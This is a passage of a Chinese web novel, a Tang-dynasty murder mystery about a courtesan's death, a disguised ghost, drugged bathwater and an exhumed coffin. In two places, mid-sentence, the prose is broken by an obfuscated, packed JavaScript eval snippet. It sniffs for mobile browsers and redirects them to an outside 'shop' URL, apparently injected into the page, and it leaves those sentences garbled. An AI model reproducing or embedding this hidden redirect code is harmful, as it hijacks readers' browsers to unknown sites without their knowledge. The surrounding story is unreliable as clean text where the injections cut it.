你看她两眼弯弯,笑的像只小狐狸,旁人只要一看就知道她心里打的是什么主意。可能是出于私心,也有可能是赏识,蔺无舟鬼使神差的答应了她的要求。 “好啊。” 樊丛青压了压唇角,问他:“那我们从哪里开始查?” 蔺无舟目光落在她袖口处,道:“就从这香开始,带回县廨让我的人看看是何物制成的。” 若是叫樊丛青拿去,她也不能确定有人认识这种香,倒是蔺无舟身边卧虎藏龙,而且他是县尉,行事要方便许多。樊丛青事半功倍,何乐不为。 她乐呵呵跟着蔺无舟去县廨,崔宿压低声音笑说:“这小娘子,还挺有意思。” “今早你没看堂审,她威胁起县令来,还像模像样的,真把窦章给哄住了。” 5. 花魁之死(五) “看不出来啊!”崔宿哈哈大笑,带着兴奋劲儿:“樊中书的女儿这般伶牙俐齿。不过樊家二娘子的事情在长安城可谓是沸沸扬扬的,如今看来,这小娘子跟传言中差别挺大。” 樊丛青在前面走着,身形瘦削,小小的一个,你靠近她同她讲话,她还得仰起那张小脸。分明是吊儿郎当的人,站在公堂上又严谨认真。蔺无舟看着她的背影,淡淡道:“传言不可尽信。” “是是是,你说得有理。”崔宿无所谓道:“”等你这个案子一破,蔺县尉又要升官咯,我猜是雍州的司法参军?升官了记得照拂我一下,比如请我去春禧酒楼喝三勒浆。” “崔宿你越来越不要脸了。”蔺无舟骂他:“你堂堂正四品金吾卫中郎将,还是清河崔氏之后,要我一个小小的县尉照拂,在长安城的地界,不应该是你照拂我吗?” “虽说是正四品武官,大了你一点点,但金吾卫是天子扈从,哪儿能跟你这大唐正官相比。”崔宿笑嘻嘻地道:“而且你还有爵位在身,想要什么公主亲娘就到天子面前哭闹,我可不信你身上没钱。” “你真抠门……”蔺无舟笑着感叹道。他还想骂崔宿两句,谈笑的功夫,又回到了县廨。蔺无舟带着二人直接去了廨殓房,段觉正在院子里晾晒草药。 见蔺无舟回来,段觉放下手中的草药,给蔺无舟行礼问好。 金吾卫也上前,道:“中郎将,您回来了。” 崔宿微微颔首:“你快闻闻那香,跟昨晚闻到的是否一样的味道?” 樊丛青听罢,从袖子里掏出瓷罐递给金吾卫。他接过去放在鼻前细细闻了闻,激动道:“是,我昨晚闻到的就是这种香味,不会错的。” 众人心中咯噔一下,蔺无舟招来捕手,用帕子沾了点香给他,吩咐道:“拿去大牢让嫌犯秦望轩也分辨是不是他闻到过的香味。” 捕手恭敬接过,领命离开。 “段觉,你来看看这香究竟是何物?”蔺无舟道:“功效如何?” 段觉点头,拿着香反复闻了又闻,半晌道:“这香名为樨角香,产自吐火罗,因能使人产生幻觉,所以吐火罗祭司会用在祭祀大典上,叫人们真看到神明显灵,无条件相信祭司会通神明晓阴阳,其实就是此物。” “昨夜我看到的也是幻觉?” 段觉点头,“康进三日前就死了,昨夜中郎将就是出了幻觉,不然死人怎么能在街上游荡?” “那我看到的跳舞的女子呢?”崔宿又问。 “这个还不清楚。”段觉又拿出一本子,道:“但我总觉得,你听到的歌声想告诉我们什么,不过我还没想明白。” 樊丛青凑过去,讨好般看着段觉,询问道:“小郎君,可否给我看看?” 尽管不认识樊丛青,段觉还是大方地给她。 “我与郎君拜天地,芳草萋萋芦苇荒。哪知郎君心两方,回首相看血与泪。我心藏于梧桐下,我身栖在金河里。犀照高悬明镜处,吾将所归是故乡。”樊丛青读了好几遍,琢磨不透,才道:“这别的都好理解,她与郎君在芦苇荡里拜了天地,估计是家中不同意,私奔出来的,结果发现遇人不淑,郎君心中还有别人,她后悔了……” “你是不是想说,我心藏于梧桐下,我身栖在金河里。”蔺无舟看着她,“初听崔宿说起时,我也不明白她想说什么,直到康员外说康进与花魁兰若的事情。兰若死在离安化门十五里外的客栈里,再往前一里地,有一大片芦苇荡。再加之,二人确实有私情,康家不同意亲事,康进与其父争执之后,离家。” 樊丛青摇头,“说不通,康进既然一心想娶兰若为妻,那缘何又说‘哪知郎君心两方,回首相看血与泪’?而且我们也没有搞清楚,我心藏于梧桐下,我身栖在金河里是什么意思。” “所以,”蔺无舟递给樊丛青一个眼神,示意自己还没说完,“所以康员外定有事瞒着我们,事情绝不是这样。你们猜什么情况下,我心藏于梧桐下,我身栖在金河里?” 段觉先道:“杀人分尸!” 蔺无舟赞许道:“没错。先将死者杀害,然后把心脏埋在梧桐树下,身体扔在金河里。但梧桐和金河是什么地方,暂时不得而知。” “这些都是我们的猜测,并没有证据佐证。”樊丛青反驳他:“如果是巧合呢?况且康员外既然有意隐瞒,我们去问讯也问不出来别的东西。” 蔺无舟不说是,也不说不是:“等捕手那边回来,我们再看。” 捕手动作很快,急匆匆地走回来,快步来到院里,禀道:“县尉,秦望轩说了,这香味一模一样。” 凤娘的死,崔宿遇到的离奇事情,康进的尸体,舞女的歌声……这中间肯定有什么还未发现的联系,若凤娘是假死呢?若花魁兰若不是死于走水呢? 蔺无舟思考片刻,坚定道:“明日一早,我们去寻兰若的墓,开棺验尸。” “你疯了不成?”崔宿拍了下蔺无舟的肩膀,惊道:“掘人坟墓是要遭人谩骂的。” 古代人更看重入土为安,掘坟在人们眼里更是要天谴的行为,有一部分原因大约是迷信。很多人认为,死人被打扰了安宁,就会变成恶鬼从棺材里爬出来锁过路人的性命。 “必须开棺,有些事一定要亲眼看过兰若的尸体后我才能确认。” “可如果棺材里没问题,众目睽睽之下你该如何收场?”崔宿说完,又摆手,“罢了罢了,反正你在长安城百姓眼里也不是什么好东西。” 樊丛青“啊”了一声,“没关系县尉,您掘坟,我挖坑。” “今日天色已晚,街上要宵禁了,我们明日再去。” 众人应下,崔宿带着金吾卫先去夜巡,蔺无舟把樊丛青送回了家。 兰若的墓立在客栈旁的小树林里,离官道不远,人来人往的。捕手拦着围观的百姓,另外三个捕手拿着镐刨开土,挖出兰若的棺材。 “不能开棺!不能开棺!”一个耄耋老伯推开捕手,冲进来阻拦:“上官,这棺材不能开啊!” 樊丛青:“老伯伯,这棺材为何不能开?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289462|152086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老伯浑浊的眼珠子死死盯住樊丛青,指着她提声骂道:“人家都死了你们还要开棺扰人安宁,掘坟是要天打雷劈的!” 蔺无舟上前,把樊丛青护在自己身后,道:“老伯伯,这棺材今天必须开。来人,把老伯伯请出去,开棺。” 捕手架着老伯走出去,老伯还在高声谩骂:“你们不得好死!” 撬开棺材上的子孙钉,捕手撑起白布,随后挪开棺材盖,顿时一股恶臭直冲鼻腔,熏得众人纷纷退后两步。 崔宿抬头看了眼段觉,段觉微微点头,背起箱子下去。 段觉戴上手套,点燃苍术皂角,遂道:“记,验尸实录:死者两手脚蜷缩状,口鼻内有烟灰,应生前被火烧死,看不出原貌。从骨架大小来看,这是个男人。” 樊丛青和蔺无舟几乎同时脱口:“男人?!怎么会是个男人呢?” 段觉脱下手套,从坑里爬上来,道:“虽然尸体已经烧毁,从骨头来看,里面躺着的确确实实是个男人。” 墓里面不是兰若,那真的兰若哪里去了?是活着还是死了? “我们假设,如果兰若死了,那这墓里的尸体不是她,她的尸体去哪儿了?这般看来,昨日县尉的推断,兰若很有可能是被人分尸了。要想找到她的尸体,就得搞清楚梧桐、金河这两个地方在哪里。如果兰若没死,那日中郎将看到的跳舞的舞女会不会就是兰若,她此番回来,就想找康进报仇。” 听樊丛青说完,蔺无舟觉得有道理,他道:“兰若和康进有何纠葛,恐怕还是得让康员外自己说了。” 樊丛青睨他,“他不愿意说,你当如何?” 蔺无舟耸耸肩,道:“你看他又不缺钱,利诱不成,还不许威逼了?” 樊丛青恍然大悟。 蔺无舟果然不是个好东西。 康府白绫素蒿,康员外正在府中为儿子操办丧事,整个府里笼罩着悲伤的气息,白发人送黑发人,任谁看了也不免同情。门口小厮远远见蔺无舟带着几人浩浩荡荡朝这边来,转头进府禀告康员外:“老爷,县尉带人来了。” 康员外双目无神,淡淡问了句:“他来做什么?” 小厮伸手扶起康员外,“小的不清楚,老爷还是去看看吧。” 康员外刚刚走进院子,蔺无舟就到了。他俯身行礼:“康员外,节哀顺变。” 后者沉默片刻,将蔺无舟一行人请到旁庭落座,才悠悠道:“县尉今日前来是有何要事?” “昨日康员外说起令郎与花魁兰若的事情,我想员外还没有说完,故今日前来再询问一次。”蔺无舟微微笑着。 “县尉想听什么?”康员外拨了拨手中的茶,看水里茶叶沉浮:“这毕竟是我的家事,家丑不可外扬的道理,县尉应该明白。” 蔺无舟抿着唇,道:“这位是金吾卫中郎将崔宿,令郎的案子是天子恩准他在督办,康员外不妨有话直说。” 樊丛青理解的话外意思就是:我把金吾卫中郎将请来了,就是要逼迫你说,他可是金吾卫中郎将! 6. 花魁之死(六) 康员外在长安各种势力中斡旋了大半辈子,怎么不知道蔺无舟话里有话。屋里鸦雀无声,康员外道:“如果我没记错的话,金吾卫的职责是天子扈从警巡长安,刑狱录囚好像不在其职责之内,中郎将官位再大,乃是天子近臣,那也是越权了。” 蔺无舟攥紧手指,微微笑道:“金吾卫的职责确实是越权了,但长安城大唐帝都天子脚下,天子对此案极其重视,况且长安城内发生了如此可怖离奇的案件,金吾卫就是要负责长安的巡视,以免有歹人犯上作乱。” 不知道唬没唬住康员外,蔺无舟恩威并施,又道:“令郎死得不明不白的,凶手一直没找到,康员外不肯说,中郎将就如实禀报陛下,届时陛下降罪下来,我们谁也担待不起。” 康员外听完蔺无舟的话,也不回答,蔺无舟的话看似处处为他着想,实则已经断了他的后路。 樊丛青偷偷睨他一眼,低声跟崔宿讲话:“你看他,威胁起人来还真是叫人毫无反抗之力,偏偏他还不占理。” 崔宿只觉得樊丛青这话好笑,压低声音打趣她:“你是想说他心够黑吧?” 闻言,二人齐齐笑了出来。 康员外略微思索一番,暗叹口气,道:“是我儿,他与兰若好了一阵,但我身为他的父亲,深知他是个什么性子,便放任没管。好景不长,他又喜欢上了别人,兰若上门来闹过,之后听说她在芦苇荡吊死了。” 三人心底一冷。 兰若竟不是死在客栈里! 蔺无舟连忙站起身,樊从青和崔宿不明所以,也跟着站了起来。 樊从青拱拱手,“我知晓了,告辞。” 随后便匆匆要了匹马,交代另外两个:“我回一趟廨殓房查看凤娘的尸体,你们现在马上去湘灵阁打探清楚,兰若有没有什么关系要好的朋友或者姐妹。” 樊从青应下,同崔宿打马去了湘灵阁。 湘灵阁几日接不了客,姑娘都在各自房中待着,老鸨坐在堂前嗑瓜子。看到前来的两人,心里默默翻了个白眼,面上却是不显,仍旧是笑盈盈地。 “上官还有何要事啊?” 崔宿懒得多费口舌,直接道:“兰若生前可有关系要好的姐妹?如实回答,否则先拘你进县廨。” 老鸨扔下手里的瓜子,拍了拍手,从堂前扭着腰肢走出来,扭得那叫一个风情万种。她走到二人面前,抖了抖手帕,靠近崔宿些,一股浓烈的香味直冲崔宿鼻子,熏得他往后退。 老鸨捂着嘴“呵呵”笑两声,“郎君这般不经逗。” 崔宿抽出横刀,提声道:“你想进县廨说?还是就在这儿说?” 老鸨笑容僵在脸上,手轻轻推开崔宿的横刀,点头道:“说,这就说。” “兰若刚来时带了个妹妹,名叫兰因,她妹妹性子孤僻,不爱跟人说话,出门就蒙个面纱,谁也不知道长什么样子。兰若要把妹妹留在这里,但是不卖艺不卖身,横竖只是多双筷子的事,我就同意把人留下来了。”老鸨顿了顿,然后道:“她妹妹听说脸上长了一大片胎记,相貌丑陋,才一直以面纱示人。” 樊丛青追问:“她妹妹现在在哪儿?” “早死了!”老鸨声音压了又压:“半年前随兰若,死在了客栈的大火里。” “兰因也死了?!” 老鸨说话刻薄,不饶过任何人:“那火烧得老大了,客栈无一人生还,那兰因有九条命也不够死的,怎么可能还活着。” 樊从青了然。 “中郎将!中郎将!” 段觉气喘吁吁跑进湘灵阁,深吸一口气道:“快去……快去安化门外那片芦苇荡,县尉说现在就去。” “长安马上就要宵禁了,他去那里做甚?” 段觉喘了两口气后,指着门外的捕手,道:“芦苇荡又发现尸体了,县尉收到消息先赶了过去,让我来找您和樊娘子。” “宵禁之后便出不去城门了,县尉说要尽快,赶在宵禁前出去。” 樊从青抬眼看了柜台上的滴漏,马上就是宵禁时分了,街上已有金吾卫敲鼓警示众人。 “我们快走,击鼓之后城门街口就关闭落锁,没有上面的通牒,谁也出不去。” 三人点头称是,翻身上马往安化门方向去。赶到安化门时,城门郎正关完了内门,崔宿喝道:“金吾卫中郎将崔宿,奉旨查案,速开城门!” 城门郎见来人是崔宿,不敢多问,只打开一条门缝,恰好能让三人三马过去。 三人赶到芦苇荡,县廨捕手在芦苇中开出一条路,三人沿着路走进去,越往里走血气味越重,还带着淡淡的尸臭。 “蔺无舟,”崔宿走过去拍了拍他的肩膀,道:“死者何人?” 蔺无舟不答,绕过崔宿朝樊从青去,攥着她的腕子把人往芦苇荡外面拉。 樊从青不明所以:“县尉?蔺无舟!干什么?” 等看不到尸体了,蔺无舟才停下,开口道:“死者是个男性,没穿衣服。你一个未出阁的小娘子,还是别看了。” 樊从青有些好笑地看着他,笑问:“县尉呀,我樊从青的名声在长安城都那样了,始终都嫁不出去,我不在意,你在意什么?” 蔺无舟挡住她的视线,撇她:“耳听为虚,眼见为实。樊娘子是个什么样的人,我心里清楚得很。” “我们这才认识多久?”樊从青靠近他几分:“县尉就了解我了?” 蔺无舟不动声色地避让,耳尖却是红的,尽管天色已晚,朦朦胧胧的,樊从青就是看到了。 她嬉笑着,知道他不好意思,便非要去逗弄他。 崔宿转过头准备叫两人,看见樊从青在蔺无舟身旁绕来绕去的,崔宿恍然大悟,抬手道:“了然,了然,你们继续。” 蔺无舟随手从地上捡了块小石头扔他,被崔宿躲过,随后道:“走吧,段觉那边验完尸了。” 尸体盖上了白布,但周遭的血液还没有清理干净,血渗进了土壤,芦苇杆上也有星星点点的血迹。 段觉照例收拾好验尸工具,捕手奉上记录的小本子给蔺无舟。 樊从青凑上来要看,蔺无舟斜了斜本子。她抗议:“你用不着这 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“这附近有个村庄,村中小孩会到芦苇荡中玩耍,但平日也只在周边。据小孩父母说,是大黄狗跑近芦苇荡,小孩去追,这才看到了尸体,孩子被吓得不轻,父母马上就到县廨报案了。” 崔宿挑眉:“估计是大黄狗嗅到了血腥味。这芦苇荡里,几乎不会有人来,要不是这狗,可能尸体发臭了都没人知道。” 似是想到了什么,樊从青道:“你让我和中郎将前去湘灵阁查的事情,我们找老鸨问过了,老鸨说兰若有个妹妹,名为兰因,但一直以面纱示人,无人知道她长什么样子。半年前,同兰因死在了客栈的大火里。” 蔺无舟凝声道:“凤娘的尸体我回去查看了,那不是凤娘的尸体。” 樊从青讶然:“你怎知那不是凤娘的尸体?” 蔺无舟蹙眉道:“月前陈尚书请凤娘过府跳了支惊鸿舞,我远远看见过她的身量,与尸体决计不是一个人。” 樊从青意味深长的“哦”一声:“原来是蔺县尉见过啊。” 蔺无舟无奈争辩:“我只是受邀参加宴席远远见上了一眼罢了。” 樊从青学着崔宿的样子,抬抬手:“了然,了然。” 懒得再说这件事,蔺无舟跳开话题,道:“现下天快黑了,再往前有个官驿,我们去那里将就一晚,顺便将本案理一遍,明早回长安。” “官驿住一晚要花多少铜板?”樊从青苦恼地捂了捂钱包,愁眉苦脸道:“我可没钱了,你们不忍心让我睡外面吧?” 崔宿没忍住笑了,道:“堂堂中书令女儿,你怎么混得这般差劲?不知道的还以为中书令不给饭吃。” 虽是玩笑话,却是实实在在戳到了樊从青的痛处。在旁人看来,她樊从青是中书令的女儿,外祖还是折冲府都尉,哥哥在军营也风生水起的,那该是一个众星捧月的主儿。 可能是受到原主情绪的影响,樊从青勉强扯出笑容:“其实不然,我可穷可穷了。” 7. 花魁之死(七) 樊从青母亲早逝,亲爹不疼,外祖家离得太远,顾不上这个远在长安的外孙女,唯一的哥哥也在军营里,常年不回家。 她的院子和府里各过各的,虽说少了很多麻烦,但同样也没钱。亲爹樊廷玉说不管就不管,樊从青的钱包里掏不出几个铜板。 要说惨,樊从青也挺惨的。 驿馆围墙在日晒雨淋下略显斑驳,大门上方的牌匾字迹有些脱落。 蔺无舟四人和一众捕手敲响了官驿的大门,隔了半晌,门才缓缓打开。开门的是个年六十的老驿卒,头发花白,高高束起塞在帽子里。 他混浊的眼珠打量了一遍几人,才缓缓道:“几位上官再往前走个十几里,便能看到长安城,这驿馆啊,不方便。” “这个时分,长安城早已宵禁,你身为驿卒还不清楚么?”蔺无舟厉声道:“既是朝廷设的驿馆,缘何不让住?” 老驿卒压低声音,故作神秘道:“最近的驿馆……不干净。每每夜晚,那东西就在门外又唱又跳的,可怖得很。” 崔宿推开门就要进去,边走边说:“真是巧了,我大唐官员一身正气,最不怕劳什子妖魔鬼怪。” 捕手牵着马到马厩,几匹马还在马厩中打着响鼻,旁边堆放的材料散发着淡淡的清香。柴房门大开着,全是木柴,水井还残留着打水上来的水痕。 捕手吩咐驿卒把马喂饱,然后跟着蔺无舟四人进了正厅。 简陋的桌椅井然有序的摆放在正厅里,桌上油灯冒着丝丝黑烟。正中央坐着个武官,身材魁梧,面庞刚毅,犹如刀削一般,双眸犀利有神,还不知从何处来。 蔺无舟扫了一眼四周,那武官和手下的刀剑长枪放在兵器架上,寒光隐隐。 几人在角落的桌子坐下,崔宿胳膊拐了拐蔺无舟,示意他凑近点,附耳道:“那武官,装束一看就是下面折冲府上来的,少说也是个果毅都尉,但我没听说最近有武官进京面圣。” “不知。”蔺无舟摇头:“兴许是陛下秘密召见也说不定。” “这驿馆处处写着不对劲,今晚还是小心为妙。”崔宿提醒道。 老驿卒端上来饭菜,摆在桌上,饭菜算不上丰富,不过只为了果腹,也将就吃了。老驿卒恭敬站在旁边,道:“上官,您这儿要几间房?驿馆里还剩一间上房,别的被那位上官要了,若您品级大过那位上官,小的就去告知他一声。” 驿馆内的上房一直是品级相当者,先到先得,倘若品级有尊卑,即使先到,也要把好的客房让出来给后者。 崔宿为正四品金吾卫中郎将,品级自然比折冲府果毅都尉高得多,蔺无舟虽只是个长安县尉,但架不住爵位高,又是京都的官儿,尊卑先论,蔺无舟合该要上房。 眼下不愿节外生枝,懒得计较住什么房间,蔺无舟摆手:“不必了,只将那间上房收拾干净出来便是,另外一间要在上房隔壁,去安排吧。” 老驿卒连声应下。 中央坐着的果毅都尉喝完最后一碗酒,大喊道:“人呢?添酒来!” 手下人去寻老驿卒添酒,另一个军士低声道:“都尉,那几人来了这么久,不来见礼,也不知是什么来头。” 都尉抬眼看了看蔺无舟那桌,只一眼看出几人身份不简单。所谓居移气,养移体(1),领头二人有一种富家公子的气质,是与生俱来的贵气。 “那几个人不来见礼,不是品级高便是世家皇族。我们入了长安城的地界,有地位的人多了去了,莫要横生枝节。” 军士也悄悄看了眼,点头。 那边用完饭,叫来老驿卒收拾桌子,都纷纷上楼进了上房。 睡房内仅有一张床,铺着被褥,床帏轻垂两侧,中间放着一张木桌,桌上灯火摇曳,光影在墙上斑驳。 四人在桌旁坐下,蔺无舟抄起茶壶各自斟下一杯茶,先递给樊从青。 “晚些你自己在这房里休息,你一个小娘子,跟我们几个大男人共处一室传出去对名声不好。我们就住隔壁,有事叫一声,我们也能听见。” 樊从青接过茶杯,微微笑道:“想这么周到啊,蔺县尉。” 蔺无舟抿唇,“我总觉得这驿馆不简单,今晚都小心点,别叫人钻了空子。” “你信那老驿卒说的话?这驿馆真不干净么?” 蔺无舟转动把玩手里的杯子,哼笑道:“他说有,那就有。” “啊?”崔宿不明白他的意思:“你不是说子不语怪力乱神?” “笃笃笃”,敲门声传进房里,一下又一下,崔宿猛地抬起头,抽出横刀藏在背后,把门拉开一条缝。 “这么晚了,何事?” 门外敲门的人正是老驿卒,他提着一桶热水,颤颤巍巍地说:“上官,小的烧了热水,上官赶路疲乏,拿热水泡一泡脚可缓解缓解。” 泡脚崔宿是不需要的,但屋里头还有个小娘子,总不能让人洗冷水。他接过水,道:“多谢了,下去吧。” 说完崔宿要掩上门,老驿卒伸手拦着他,似话未讲完:“上官,夜里不安分,走廊多有怪声,不理就是。” 不等崔宿细问,他转身就走了。 崔宿提着热水关上门,把横刀放在桌子上,热水桶提到盆前放好。 “老驿卒疑神疑鬼的,我看是他年纪大了,分不清事。” 段觉问他:“老驿卒说什么了?” “他送来热水,提醒我们夜里不要出门,走廊有异响也别出去。”蔺无舟看着樊从青,指了指水桶:“我们原本是不用的,但我想着还有你,给你留的热水。” 樊从青感激道:“多谢中郎将啦。” 蔺无舟收走桌上的东西,正色道:“趁天色尚早,我们将案子理一遍。” 三人正襟危坐,听他说话。 “我先说说我知道的。”蔺无舟在茶杯里沾了点水,在桌上写下几个名字:“从种种细节来看,康进的死是因为与花魁兰若相关,而兰若的棺材里是一个男人的尸体,也就是说要么兰若没死,要么那个曲子唱的就是兰若。再看如果兰若没死,那杀了康进的凶手很有可能是她,如果她死了,凶手极有可能是兰若的妹妹,常以面纱示人的兰因。” 樊从青继续道:“而且凤娘的案子里,也出现了同样的樨角香,凤娘的尸体在县廨无人能动,实际上一开始死的便不是凤娘,不过现在尸体是何人还不知道。尸体既然不是凤娘,那说明凤娘也没死。” “还有今晚的死者,他在长安的关系还没查清楚,家人没来认尸,明日一早我便让人张贴告示来县廨认尸。” 樊从青一拍桌子:“等会儿!康进的验尸实录段觉给我看过,上面说凶手可能是个女人,那凤娘没死的话,或许凶手是凤娘?” 这般猜测,倘若凤娘是凶手,那么也不是说不通。 “你们可知凤娘是何时来的湘灵阁?” “半年前兰若死后,没多久湘灵阁就出了个新花魁,还是一跃成为魁首。”崔宿回忆起来,道:“我是巡夜时听手下金吾卫说起过,他们经常去,所以不会出错。” 崔宿说完,房间里是一阵寂静。樊从青趴在桌子上,每人都在思考,还有哪里漏掉了没注意的地方。 “罢了,实在想不出,便休息吧。”蔺无舟起身,扯了扯衣服,从容道:“你且安心睡,有危险叫我,我就在隔壁。” 樊从青点点头。 蔺无舟不大放心地回头看她,被崔宿使劲拉走,并且带上了门。 “怎么蔺县尉?”崔宿打趣他:“这么不放心樊小娘子,喜欢她?” 蔺无舟皮笑肉不笑,鄙视了他一眼:“你别乱说话,坏了人家的名声。” “哟,还跟我打哈哈,我俩一起长大,我能不了解你?” 蔺无舟抬腿就踹,被崔宿堪堪躲过,三人进了隔壁的房间,“咔嗒”落了锁。 樊从青就着崔宿提进来的水草草洗了下脸,衣服也懒得脱,倒在床上没一会儿迷迷糊糊睡着了。 明月如水,轻柔地洒在地上,万物都被镀上了一层银白。 缺月挂疏桐,漏断人初静。(2) 樊从青半梦半醒间,听见走廊上传来压抑的啜泣声,在夜晚中格外清晰,每一声都揪着人心。 她吓得顿时睡意全无,翻了个身坐起来,谨慎听外面的动静。 那啜泣声似乎只是想把樊从青吵醒,等她起来时声音又没了。樊从青咽了咽喉咙,从枕头下抽出一把匕首。 “我与郎君拜天地,芳草萋萋芦苇荒。哪知郎君心两方,回首相看血与泪。我心藏于梧桐下,我身栖在金河里。犀照高悬明镜处,吾将所归是故乡。” 歌声空灵又凄厉,在夜风中打着旋穿进樊从青的耳朵里,带着怨毒与哀伤。好像冰冷的手抚过樊从青的脊背,直叫人彻骨寒冷。 没等樊从青反应过来,一个身影毫无预兆的出现在窗外,影子被月光映射在地板上。 不是?真的有鬼! 樊从青嘴唇一张一合,想呼救发现说不出来话。 那鬼魂从窗户外爬进来,长发杂乱的散在周围,在黑暗中像无数条黑色的触手,身着一件破烂不堪的舞衣,满是暗红的血迹。指甲在地板上摩擦,发出刺耳的响声,宛如恶鬼在取命前的准备。 樊从青周身血液像凝固一般发冷,两眼一闭,心道:我命休矣! 门被人使蛮力撞开,蔺无舟手持横刀飞身进来,横刀穿过鬼魂长长的指甲,刀刃上挑,生生削下一截指甲。鬼魂尖叫一声躲开,蔺无舟趁此机会在鬼魂手臂上划上一刀,霎时鲜血飞溅。 鬼魂捂着手臂,狼狈地跳窗逃跑。蔺无舟将手中横刀扔给崔宿,他接住刀,足尖轻点,从窗户追了出去。 蔺无舟擦了擦手上的血,走到床边,轻声问道:“你……没事吧?” 或许蔺无舟自己没注意,看似平静的他,实则说话的声音都在颤抖。 “我没事。”怕他不信,樊从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289464|152086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青站起来蹦跶两下:“看,我真没事。” 蔺无舟暗暗舒了口气,他点燃桌上的油灯,屋里亮堂起来。 “遇到危险怎么不叫我?若不是听到响声,晚来一步,你当如何?”蔺无舟关心则乱,虽没有责备她的意思,但语气实在生硬。察觉到不对劲,放软了语气:“我只是怕你出事,我不知怎么跟你哥哥交代。” “我哥哥?”樊从青抬起头,疑惑道:“关我哥哥何事?” 樊从青来到这里,从未见过自己的哥哥,但在原主的记忆里,也不记得樊流云和蔺无舟有什么交集。 蔺无舟不愿意继续说下去,只道:“没事。” 樊从青对这个所谓的哥哥,且先不说抱着亲情,明知道原主在府中举步维艰,只有他一个能依靠的人,樊流云却去了军营,一去就是十几年。 转念一想,男儿有志在四方,樊流云也有自己的抱负,总不能一辈子围着妹妹转圈圈。 经蔺无舟那两刀,四人更加确信是人在作祟而不是所谓的鬼魂。蔺无舟心中有衡量,案子的真相也快水落石出了。 蔺无舟沉默着不讲话,樊从青无事,便蹲在段觉旁边,只见他舀出桶里的水放在鼻子边嗅了嗅,又将水倒回桶里。 樊从青跟着他站起来,段觉道:“那水里掺了药,人接触会暂时产生幻觉,浑身乏力,说不出话。这也是为什么樊小娘子没能及时呼救的原因。” 她附和道:“就是!我还以为我是被吓得讲不出话来了。” 蔺无舟长眉一挑,道:“那桶水,是老驿卒想拿给我们用的,可谁知我们三人用不上,只有樊从青一人用了。” “可是老驿卒有什么理由要杀我们呢?我们跟他没有什么过节呀。” 蔺无舟眯着眼,“是什么原因让他冒着死罪的风险也要谋杀朝廷命官,这恐怕要问他本人了。” 此时捕手将老驿卒带进房里,一脚踹在膝盖处,老驿卒吃痛,重重跪在地板上。 蔺无舟不跟他废话,直截了当道:“说罢,为什么要在热水里下药?你跟那个装鬼的女子是何关系?” 老驿卒不屑地看着他,然后别开脸。 “你不说?金吾狱有的是办法让你说,你喜欢什么,他们都能满足。” 老驿卒突然暴起,捕手花了好大力气才把人按住,他干涩的嗓子嘶喊:“你杀了我,我什么都不会说的!” 蔺无舟挥挥手,捕手心领神会,老驿卒被压在一旁,拿帕子堵了嘴,防止他自杀。蔺无舟的指尖轻轻敲着桌子,有一搭没一搭的,敲了不知多少下之后,崔宿终于回来了。 他把人提进来,樊从青定睛一看,这不是刚才要杀她那个“鬼魂”又是谁? 那“鬼魂”被崔宿拿麻绳死死捆着,长发垂在脸颊两侧,看不清容貌。捕手沾了点水擦干净她的脸,露出本来的脸。 她长得十分好看,手如柔荑,肤如凝脂。 蔺无舟打量她,笃定道:“本官没猜错的话,你才是凤娘吧?” 老驿卒“唔唔唔”地叫喊,凤娘抬起头,眼角流下一行泪。 “是,我才是凤娘。” 捕手呈上来笔墨纸砚放在桌上,由段觉充当主簿的角色,记录嫌疑人的一言一语。 蔺无舟半阖着眼睛,眼神凌厉:“说说吧,康进、县廨的尸体还有芦苇荡里的尸体,这三人是不是你杀的?你假死的目的是什么?” “事到如今,我想藏也藏不住了。”凤娘笑得有些凄惨,“我杀的那些人,他们该杀,他们都该死!我只恨百密一疏,竟然没有杀了你们几人,不然也不会坏了我的计划!” “还差一个人,杀了他,我就能替姐姐报仇了。”凤娘放声大笑。 蔺无舟蹙眉道:“你有何冤屈上报官府,官府自然会为你做主。再不然,你去敲登闻鼓,总有地方能为你申冤。” “申冤?我一个无权无势无依无靠的孤女,我能找谁申冤?你们这些当官的,哪个不是踩着百姓的白骨上位的?”凤娘眉眼一片冰凉,长长的睫毛盖住了流转的狠厉,那是仇,是恨:“我姐姐惨死时你们在哪儿?我一步一跪求你们做主的时候你们又在哪儿?” 恶心,实在太恶心了。 “考取功名的时候,你们说要为天地立心为生民立命。等你们一个个封侯拜相了,谁还记得这句话!” 她见过易子相食,逃荒路上饿死者比比皆是,横尸千万里,村村无鸡鸣。于是这些所谓的官员,酒池肉林,觥筹交错,王孙贵戚台上坐,哪知台下百姓苦。 千里孤坟,无家可归。 而这些惨绝人寰的景象,是他们养尊处优的世家子弟从未见过的。 天道不公!圣人不公! 凤娘的叫喊如同凌厉的寒风,身体不停的颤抖,泪水决堤般从她红肿的眼眶中涌出。 “不如这样吧,县尉。”凤娘收起情绪,平静道:“找到我姐姐的尸身,我就把我知道的一切全告诉你。” 8. 花魁之死(八) 押着老驿卒和凤娘,一行人不等天亮就启程回京,到长安城时正好开城门。 一条阴暗潮湿的通道直伸大牢尽头,两侧的火把在风中摇曳,散发着微弱的光,墙壁皆是粗糙的巨石堆砌而成,缝隙里渗出水珠。 捕手把两人羁押进大牢,随后拿着画像到街上张贴告示,叫死者家人来县廨认尸。 